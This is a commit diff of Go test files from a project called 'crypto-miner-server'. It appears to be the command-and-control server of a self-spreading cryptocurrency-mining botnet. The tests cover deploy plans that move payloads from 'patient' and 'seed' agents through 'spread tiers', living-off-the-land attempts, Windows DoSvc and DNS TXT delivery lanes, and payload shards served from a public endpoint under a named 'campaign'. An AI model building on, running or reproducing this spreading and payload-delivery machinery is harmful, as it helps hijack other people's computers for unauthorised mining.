Close test-gap noise rows and sync coverage documentation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
This commit is contained in:
AetherForge
2026-06-07 06:44:54 -07:00
parent 72ae457cca
commit 821a0e2cd7
14 changed files with 710 additions and 147 deletions

View File

@@ -1,11 +1,13 @@
package api
import (
"encoding/base64"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
@@ -79,15 +81,131 @@ func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
pt := NewPathTracerHandler(nil)
h.BindPathTracer(pt)
patientID := "erasure-patient"
seedID := "erasure-seed"
if err := h.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
t.Fatal(err)
}
if err := h.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(h.db)
connectTestAgent(t, hub, patientID)
connectTestAgent(t, hub, seedID)
waitForHubAgents(t, hub, patientID, seedID)
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
pathTracer := NewPathTracerHandler(hub)
h.BindPathTracer(pathTracer)
sess := testTraceSession(2)
sess.Hops[0].AgentID = patientID
sess.Hops[0].ExternalIP = "10.9.8.7"
sess.Hops[1].AgentID = seedID
sess.Hops[1].ExternalIP = "10.9.8.9"
sess.ServiceGraph = map[string]ServiceGraphHost{
"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
}
pathTracer.mu.Lock()
pathTracer.sessions[sess.ID] = sess
pathTracer.mu.Unlock()
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "seed-1", Platform: "windows", BuildID: "b1",
AgentID: patientID, Platform: "windows", BuildID: "b1",
}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil {
t.Fatal("expected erasure plan")
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure plan, got %+v", plan.ErasurePlan)
}
if plan.SpreadRouteHint == nil || !plan.SpreadRouteHint.ErasureLanesEnabled {
t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint)
}
}
func TestPublicErasureShardEndpointErrors(t *testing.T) {
h := NewPublicHandler(nil, "", nil)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/tok/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("nil store status=%d", rec.Code)
}
store := erasure.NewShardStore()
h.BindErasureShardStore(store)
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", []byte("shard-body"), "dest", "exe", "", false, false)
if err != nil {
t.Fatal(err)
}
badIndexReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/nope", nil)
badIndexRec := httptest.NewRecorder()
r.ServeHTTP(badIndexRec, badIndexReq)
if badIndexRec.Code != http.StatusBadRequest {
t.Fatalf("bad index status=%d body=%s", badIndexRec.Code, badIndexRec.Body.String())
}
missingReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/missing-token/0", nil)
missingRec := httptest.NewRecorder()
r.ServeHTTP(missingRec, missingReq)
if missingRec.Code != http.StatusNotFound {
t.Fatalf("missing token status=%d", missingRec.Code)
}
}
func TestPublicErasureShardEndpointBase64Body(t *testing.T) {
store := erasure.NewShardStore()
payload := []byte("base64-shard-payload")
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, "dest", "exe", "", false, false)
if err != nil {
t.Fatal(err)
}
h := NewPublicHandler(nil, "", nil)
h.BindErasureShardStore(store)
r := chi.NewRouter()
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
want := base64.StdEncoding.EncodeToString(mustGetShard(t, store, plan.ShardToken, 0))
if rec.Body.String() != want {
t.Fatalf("body=%q want %q", rec.Body.String(), want)
}
}
func mustGetShard(t *testing.T, store *erasure.ShardStore, token string, index int) []byte {
t.Helper()
data, ok := store.Get(token, index)
if !ok {
t.Fatalf("missing shard token=%s index=%d", token, index)
}
return data
}
func TestBindErasureFromHub(t *testing.T) {
h := testDeployPlanHandler(t)
store := erasure.NewShardStore()
hub := NewWSHub(h.db)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
h.BindErasureFromHub(hub, store)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
t.Fatalf("expected erasure via hub binding, got %+v", plan.ErasurePlan)
}
}

View File

@@ -7,6 +7,8 @@ import (
"net/http/httptest"
"strings"
"testing"
"crypto-miner-server/internal/erasure"
)
func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
@@ -109,6 +111,38 @@ func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
}
}
func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
store := erasure.NewShardStore()
h.BindErasure(func() bool { return true }, store)
out := postDeployPlan(t, h, `{
"services":[{"name":"DoSvc","status":"running"}],
"platform":"windows","build_id":"b1","campaign":"erasure-wave"
}`)
plan, ok := out["plan"].(map[string]interface{})
if !ok {
t.Fatalf("plan=%v", out["plan"])
}
erasurePlan, ok := plan["erasure_plan"].(map[string]interface{})
if !ok || erasurePlan["enabled"] != true {
t.Fatalf("erasure_plan=%v", plan["erasure_plan"])
}
shards, ok := erasurePlan["shards"].([]interface{})
if !ok || len(shards) != 6 {
t.Fatalf("shards=%v", erasurePlan["shards"])
}
token, _ := erasurePlan["shard_token"].(string)
if token == "" {
t.Fatal("expected shard_token")
}
if _, ok := store.Get(token, 0); !ok {
t.Fatal("expected stored shard for HTTP deploy plan")
}
}
func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
h := testDeployPlanHandler(t)
srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))

View File

@@ -3,14 +3,38 @@ package api
import (
"encoding/json"
"testing"
"crypto-miner-server/internal/db"
)
func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
hub := NewWSHub(nil)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
raw := buildAuthSpreadPolicy(hub)
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "erasure-policy-agent",
"hostname": "host",
"platform": "windows",
"version": "test",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
raw, ok := body["spread_policy"]
if !ok {
t.Fatalf("spread_policy missing from auth_response: %#v", body)
}
policyBytes, _ := json.Marshal(raw)
var policy map[string]interface{}
if err := json.Unmarshal(raw, &policy); err != nil {
if err := json.Unmarshal(policyBytes, &policy); err != nil {
t.Fatal(err)
}
enabled, ok := policy["erasure_lanes_enabled"].(bool)
@@ -19,20 +43,28 @@ func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
}
}
func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
policy := hub.serverPolicySnapshot()
if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
return nil
func TestAuthSpreadPolicyOmitsErasureWhenDisabled(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "no-erasure-agent",
"hostname": "host",
"platform": "windows",
"version": "test",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
if _, ok := body["spread_policy"]; ok {
t.Fatalf("spread_policy should be omitted: %#v", body["spread_policy"])
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
raw, _ := json.Marshal(spreadPolicy)
return raw
}

View File

@@ -55,6 +55,32 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
return hub, database, sched
}
func seedStuckAgentDB(t *testing.T, database *db.Database, agentID string) {
t.Helper()
attempts := make([]struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}, 0, len(fleetai.DefaultSpreadTiers()))
for _, tier := range fleetai.DefaultSpreadTiers() {
attempts = append(attempts, struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{Tier: tier, OK: false, Error: "blocked"})
}
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "stuck-host", Platform: "windows", Status: "online",
ChainExhausted: true, LOTLAttempts: attempts,
}); err != nil {
t.Fatal(err)
}
}
func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
t.Helper()
attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
@@ -87,17 +113,39 @@ func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
t.Helper()
deadline := time.Now().Add(2 * time.Second)
deadline := time.Now().Add(8 * time.Second)
for time.Now().Before(deadline) {
if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
return snap
}
time.Sleep(25 * time.Millisecond)
time.Sleep(50 * time.Millisecond)
}
t.Fatal("agent snapshot never reached stuck/court state")
return fleetai.AgentSnapshot{}
}
func waitForAgentTelemetry(t *testing.T, hub *WSHub, agentID string, keys ...string) {
t.Helper()
deadline := time.Now().Add(4 * time.Second)
for time.Now().Before(deadline) {
hub.mu.RLock()
tel, ok := hub.agentLiveTelemetry[agentID]
missing := false
for _, key := range keys {
if !ok || tel[key] == nil {
missing = true
break
}
}
hub.mu.RUnlock()
if !missing {
return
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("telemetry keys %v never cached for %s", keys, agentID)
}
func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
@@ -170,6 +218,8 @@ func TestIntegrationCourtStuckFlow(t *testing.T) {
"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
})
pushStuckAgentTelemetry(t, conn)
seedStuckAgentDB(t, database, agentID)
waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
}

View File

@@ -0,0 +1,29 @@
package api
import (
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestBuildSpreadRouterInputErasureFlag(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
if err := database.UpsertAgent(&models.Agent{ID: "router-seed", Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
t.Fatal(err)
}
connectTestAgent(t, hub, "router-seed")
waitForHubAgents(t, hub, "router-seed")
in := buildSpreadRouterInput(hub, nil, []string{"10.9.8"}, "do_peer")
if !in.ErasureLanesEnabled {
t.Fatal("expected erasure_lanes_enabled on spread router input")
}
}